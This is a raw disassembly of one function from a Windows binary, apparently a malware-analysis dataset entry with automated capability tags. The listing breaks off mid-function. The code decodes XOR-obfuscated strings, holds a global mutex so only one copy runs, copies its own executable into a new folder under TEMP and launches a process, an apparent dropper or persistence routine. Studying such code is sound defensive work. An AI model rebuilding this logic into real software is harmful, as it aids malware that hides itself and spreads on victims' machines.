Function at 0x406620
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create directory
Create process on windows
Encode data using xor
Query environment variable
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x3f8
mov eax, dword [0x43d758]
xor edx, edx
movq xmm0, qword [0x43d750]
mov dword [ebp - 0x8d], eax
mov al, byte [0x43d75c]
push esi
mov esi, dword [0x44f7b8]
mov byte [ebp - 0x89], al
lea eax, [edx + 0x1f]
movq qword [ebp - 0x95], xmm0
mov dword [ebp - 4], edx
push edi
lea edi, [edx + 4]
cmp esi, 2
jl 0x406781
movaps xmm2, xmmword [0x43d580]
mov edx, 8
movaps xmm3, xmmword [0x43d990]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
movd xmm4, edi
psrad xmm1, xmm4
movd xmm5, eax
movaps xmm0, xmm1
mov dword [ebp - 4], edx
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.4444]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x43d710]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x43d600]
movd xmm0, dword [0x43d750]
packuswb xmm1, xmm1
paddb xmm1, xmmword [str.5555555555555555]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x95], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movaps xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.4444]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x43d600]
movd xmm0, dword [ebp - 0x91]
packuswb xmm1, xmm1
paddb xmm1, xmmword [str.5555555555555555]
pxor xmm1, xmm0
movd dword [ebp - 0x91], xmm1
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x95], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 0xd
jl 0x406781
lea ecx, [ebp - 0x95]
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x48], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x44], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4067d0
sub ecx, edx
lea eax, [ebp - 0x95]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00401820
push 7
push str.Global_
push 0
lea ecx, [ebp - 0x58]
call fcn.004091b0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x40], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x30], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x40]
cmp dword [ebp - 0x2c], 0x10
cmovae eax, dword [ebp - 0x40]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edx, dword [ebp - 0x2c]
cmp edx, 0x10
jb 0x406866
mov ecx, dword [ebp - 0x40]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40685c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408387
push edx
push ecx
call fcn.0041fbcc
add esp, 8
mov edx, dword [ebp - 0x44]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
cmp edx, 0x10
jb 0x4068ac
mov ecx, dword [ebp - 0x58]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4068a2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408387
push edx
push ecx
call fcn.0041fbcc
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x40838c
push 0x104
lea eax, [ebp - 0x3f0]
push eax
push str.TEMP
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov eax, dword [0x43d768]
xor edx, edx
movq xmm0, qword [0x43d760]
mov dword [ebp - 0x8d], eax
mov al, byte [0x43d76c]
movq qword [ebp - 0x95], xmm0
mov byte [ebp - 0x89], al
mov dword [ebp - 4], edx
cmp esi, 2
jl 0x406a15
movaps xmm2, xmmword [0x43d580]
mov eax, 0x1f
movaps xmm4, xmmword [0x43d990]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, edi
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.5555555555555555]
movaps xmm0, xmm1
psrld xmm0, xmm6
mov dword [ebp - 4], edx
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.4444]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x43d710]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x43d600]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x43d760]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x95], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.4444]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x43d600]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x91]
pxor xmm1, xmm0
movd dword [ebp - 0x91], xmm1
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x95], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 0xd
jl 0x406a15
lea ecx, [ebp - 0x95]
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x48], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x44], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406a64
sub ecx, edx
lea eax, [ebp - 0x95]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00401820
lea ecx, [ebp - 0x3f0]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x30], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x2c], 0xf
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406aa0
sub ecx, edx
lea eax, [ebp - 0x3f0]
push ecx
push eax
lea ecx, [ebp - 0x40]
call fcn.00401820
push 1
push 0x43d8b8
lea ecx, [ebp - 0x40]
call fcn.00403190
lea ecx, [ebp - 0xd4]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x80], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x80]
movq qword [ebp - 0x70], xmm0
push eax
push dword [ebp - 0xd]
call fcn.00406440
mov edx, dword [ebp - 0x6c]
cmp edx, 0x10
jb 0x406b34
mov ecx, dword [ebp - 0x80]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406b2a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408393
push edx
push ecx
call fcn.0041fbcc
add esp, 8
mov edx, dword [ebp - 0x2c]
cmp edx, 0x10
jb 0x406b68
mov ecx, dword [ebp - 0x40]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406b5e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408393
push edx
push ecx
call fcn.0041fbcc
add esp, 8
mov edx, dword [ebp - 0x44]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
cmp edx, 0x10
jb 0x406bae
mov ecx, dword [ebp - 0x58]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406ba4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408393
push edx
push ecx
call fcn.0041fbcc
add esp, 8
cmp dword [ebp - 0xc0], 0x10
lea eax, [ebp - 0xd4]
push 0
cmovae eax, dword [ebp - 0xd4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x104
lea eax, [ebp - 0x2e8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ax, word [0x43d77c]
xor edx, edx
movq xmm0, qword [0x43d774]
mov word [ebp - 0xc], ax
mov al, byte [0x43d77e]
movq qword [ebp - 0x14], xmm0
mov byte [ebp - 0xa], al
mov dword [ebp - 4], edx
mov eax, 0x4ec4ec4f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 4]
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x14], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 0xb
jl 0x406c03
lea ecx, [ebp - 0x14]
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xa8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xa4], 0xf
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406c50
sub ecx, edx
lea eax, [ebp - 0x14]
push ecx
push eax
lea ecx, [ebp - 0xb8]
call fcn.00401820
mov ax, word [0x43d770]
mov word [ebp - 6], ax
test ah, ah
je 0x406ca7
xor edx, edx
mov dword [ebp - 4], edx
nop dword [eax]
mov eax, 0x4ec4ec4f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 4]
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 6], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 2
jl 0x406c80
lea ecx, [ebp - 6]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x30], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x2c], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406cc2
sub ecx, edx
lea eax, [ebp - 6]
push ecx
push eax
lea ecx, [ebp - 0x40]
call fcn.00401820
cmp dword [ebp - 0xc0], 0x10
lea eax, [ebp - 0xd4]
push dword [ebp - 0xc4]
cmovae eax, dword [ebp - 0xd4]
lea ecx, [ebp - 0x40]
push eax
push 0
call fcn.004091b0
lea ecx, [ebp - 0x58]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x80], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xb8]
push eax
lea eax, [ebp - 0x80]
movq qword [ebp - 0x70], xmm0
push eax
push dword [ebp - 0xd]
call fcn.00406440
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
push 0
cmovae eax, dword [ebp - 0x58]
push eax
lea eax, [ebp - 0x2e8]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov edx, dword [ebp - 0x44]
cmp edx, 0x10
jb 0x406d84
mov ecx, dword [ebp - 0x58]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406d7a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408398
push edx
push ecx
call fcn.0041fbcc
add esp, 8
mov edx, dword [ebp - 0x6c]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
cmp edx, 0x10
jb 0x406dca
mov ecx, dword [ebp - 0x80]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406dc0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408398
push edx
push ecx
call fcn.0041fbcc
add esp, 8
mov edx, dword [ebp - 0x2c]
cmp edx, 0x10
jb 0x406dfe
mov ecx, dword [ebp - 0x40]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406df4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408398
push edx
push ecx
call fcn.0041fbcc
add esp, 8
mov edx, dword [ebp - 0xa4]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
cmp edx, 0x10
jb 0x406e4a
mov ecx, dword [ebp - 0xb8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406e40
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408398
push edx
push ecx
call fcn.0041fbcc
add esp, 8
mov ax, word [0x43d7e0]
xor edx, edx
movq xmm0, qword [0x43d7d8]
mov word [ebp - 0xc], ax
mov al, byte [0x43d7e2]
movq qword [ebp - 0x14], xmm0
mov byte [ebp - 0xa], al
mov dword [ebp - 4], edx
nop
mov eax, 0x4ec4ec4f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 4]
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x14], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 0xb
jl 0x406e70
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x70], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x6c], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406eb2
sub ecx, edx
lea eax, [ebp - 0x14]
push ecx
push eax
lea ecx, [ebp - 0x80]
call fcn.00401820
mov ax, word [0x43d7d4]
mov word [ebp - 6], ax
test ah, ah
je 0x406f07
xor edx, edx
mov dword [ebp - 4], edx
nop dword [eax + eax]
mov eax, 0x4ec4ec4f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 4]
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 6], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 2
jl 0x406ee0
lea ecx, [ebp - 6]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x30], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x2c], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406f22
sub ecx, edx
lea eax, [ebp - 6]
push ecx
push eax
lea ecx, [ebp - 0x40]
call fcn.00401820
cmp dword [ebp - 0xc0], 0x10
lea eax, [ebp - 0xd4]
push dword [ebp - 0xc4]
cmovae eax, dword [ebp - 0xd4]
lea ecx, [ebp - 0x40]
push eax
push 0
call fcn.004091b0
lea ecx, [ebp - 0x188]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x170], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x170]
movq qword [ebp - 0x160], xmm0
push eax
push dword [ebp - 0xd]
call fcn.00406440
mov eax, dword [0x43d7cc]
xor edx, edx
mov dword [ebp - 0x10], eax
mov ax, word [0x43d7d0]
mov word [ebp - 0xc], ax
mov al, byte [0x43d7d2]
mov byte [ebp - 0xa], al
mov dword [ebp - 4], edx
nop dword [eax]
mov eax, 0x4ec4ec4f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 4]
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x10], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 7
jl 0x406fc0
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x138], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x134], 0xf
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407010
sub ecx, edx
lea eax, [ebp - 0x10]
push ecx
push eax
lea ecx, [ebp - 0x148]
call fcn.00401820
mov ax, word [0x43d7c8]
xor edx, edx
movq xmm0, qword [0x43d7c0]
mov word [ebp - 0xc], ax
mov al, byte [0x43d7ca]
movq qword [ebp - 0x14], xmm0
mov byte [ebp - 0xa], al
mov dword [ebp - 4], edx
nop dword [eax]
mov eax, 0x4ec4ec4f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 4]
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x14], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 0xb
jl 0x407050
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x1c8], 0
mov dword [ebp - 0x1b8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x1b4], 0xf
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4070a0
sub ecx, edx
lea eax, [ebp - 0x14]
push ecx
push eax
lea ecx, [ebp - 0x1c8]
call fcn.00401820
mov ecx, 0xf
lea edi, [ebp - 0x129]
mov esi, str.v_fkoPT_SJMc
xor edx, edx
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 4], edx
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov edi, dword [0x44f7b8]
cmp edi, 2
jl 0x407230
movaps xmm0, xmmword [str.5555555555555555]
mov eax, 4
movaps xmm4, xmmword [0x43d580]
movaps xmm3, xmmword [0x43d990]
movaps xmm6, xmmword [str.4444]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0xa0], xmm0
mov ecx, dword [ebp - 0xa0]
movd xmm7, eax
nop dword [eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x43d600]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x129]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x129], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x43d600]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x125]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x125], xmm1
add edx, 8
cmp edx, 0x38
jl 0x407120
mov dword [ebp - 4], edx
cmp edx, 0x3f
jge 0x407261
nop dword [eax + eax]
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x129], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 0x3f
jl 0x407230
lea ecx, [ebp - 0x129]
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xa8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xa4], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407288
sub ecx, edx
lea eax, [ebp - 0x129]
push ecx
push eax
lea ecx, [ebp - 0xb8]
call fcn.00401820
lea eax, [ebp - 0x1c8]
push eax
lea eax, [ebp - 0xb8]
push eax
push dword [ebp - 0xd]
lea ecx, [ebp - 0x1e0]
call fcn.00406440
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x1e0]
push eax
push dword [ebp - 0xd]
lea ecx, [ebp - 0xa0]
call fcn.00406440
lea eax, [ebp - 0x188]
push eax
lea eax, [ebp - 0xa0]
push eax
push dword [ebp - 0xd]
lea ecx, [ebp - 0x58]
call fcn.00406440
push 4
push str.___F
lea ecx, [ebp - 0x58]
call fcn.00403190
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1b0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1a0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [ebp - 0x44]
cmp edx, 0x10
jb 0x407360
mov ecx, dword [ebp - 0x58]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407356
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40839d
push edx
push ecx
call fcn.0041fbcc
add esp, 8
mov edx, dword [ebp - 0x8c]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
cmp edx, 0x10
jb 0x4073ac
mov ecx, dword [ebp - 0xa0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4073a2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40839d
push edx
push ecx
call fcn.0041fbcc
add esp, 8
mov edx, dword [ebp - 0x1cc]
cmp edx, 0x10
jb 0x4073e6
mov ecx, dword [ebp - 0x1e0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4073dc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40839d
push edx
push ecx
call fcn.0041fbcc
add esp, 8
mov edx, dword [ebp - 0xa4]
cmp edx, 0x10
jb 0x407420
mov ecx, dword [ebp - 0xb8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407416
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40839d
push edx
push ecx
call fcn.0041fbcc
add esp, 8
mov edx, dword [ebp - 0x1b4]
cmp edx, 0x10
jb 0x40745a
mov ecx, dword [ebp - 0x1c8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407450
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40839d
push edx
push ecx
call fcn.0041fbcc
add esp, 8
mov edx, dword [ebp - 0x134]
cmp edx, 0x10
jb 0x407494
mov ecx, dword [ebp - 0x148]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40748a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40839d
push edx
push ecx
call fcn.0041fbcc
add esp, 8
mov edx, dword [ebp - 0x174]
cmp edx, 0x10
jb 0x4074ce
mov ecx, dword [ebp - 0x188]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4074c4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40839d
push edx
push ecx
call fcn.0041fbcc
add esp, 8
mov edx, dword [ebp - 0x15c]
cmp edx, 0x10
jb 0x407508
mov ecx, dword [ebp - 0x170]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4074fe
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40839d
push edx
push ecx
call fcn.0041fbcc
add esp, 8
mov edx, dword [ebp - 0x2c]
cmp edx, 0x10
jb 0x40753c
mov ecx, dword [ebp - 0x40]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407532
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40839d
push edx
push ecx
call fcn.0041fbcc
add esp, 8
mov edx, dword [ebp - 0x6c]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
cmp edx, 0x10
jb 0x407582
mov ecx, dword [ebp - 0x80]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407578
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40839d
push edx
push ecx
call fcn.0041fbcc
add esp, 8
cmp dword [ebp - 0x19c], 0x10
lea eax, [ebp - 0x130]
push 0x44
push 0
lea esi, [ebp - 0x1b0]
cmovae esi, dword [ebp - 0x1b0]
push eax
call fcn.00421510
add esp, 0xc
or dword [ebp - 0x104], 1
xor eax, eax
mov dword [ebp - 0x130], 0x44
mov word [ebp - 0x100], ax
xorps xmm0, xmm0
lea eax, [ebp - 0xa0]
movaps xmmword [ebp - 0xa0], xmm0
push eax
lea eax, [ebp - 0x130]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x407618
push 0xffffffffffffffff
push dword [ebp - 0xa0]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0xa0]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x9c]
call esi
cmp byte [0x43d837], 0
mov ecx, dword [0x43d830]
mov esi, dword [0x43d834]
mov dword [ebp - 0x11], ecx
mov dword [ebp - 0xd], esi
je 0x40776a
xor edx, edx
mov dword [ebp - 4], edx
cmp edi, 2
jl 0x407743
movaps xmm2, xmmword [0x43d580]
mov eax, 4
movaps xmm4, xmmword [0x43d990]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
mov eax, 0x1f
psrad xmm1, xmm5
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [str.5555555555555555]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.4444]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x43d710]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x43d600]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, ecx
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x11], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.4444]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x43d600]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, esi
pxor xmm1, xmm0
movd dword [ebp - 0xd], xmm1
jmp 0x40776a
mov eax, 0x4ec4ec4f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 4]
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x11], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 8
jl 0x407743
lea ecx, [ebp - 0x11]
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x70], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x6c], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407785
sub ecx, edx
lea eax, [ebp - 0x11]
push ecx
push eax
lea ecx, [ebp - 0x80]
call fcn.00401820
movups xmm0, xmmword [0x43d7e8]
mov eax, dword [0x43d828]
xor edx, edx
mov dword [ebp - 0xf0], eax
mov ax, word [0x43d82c]
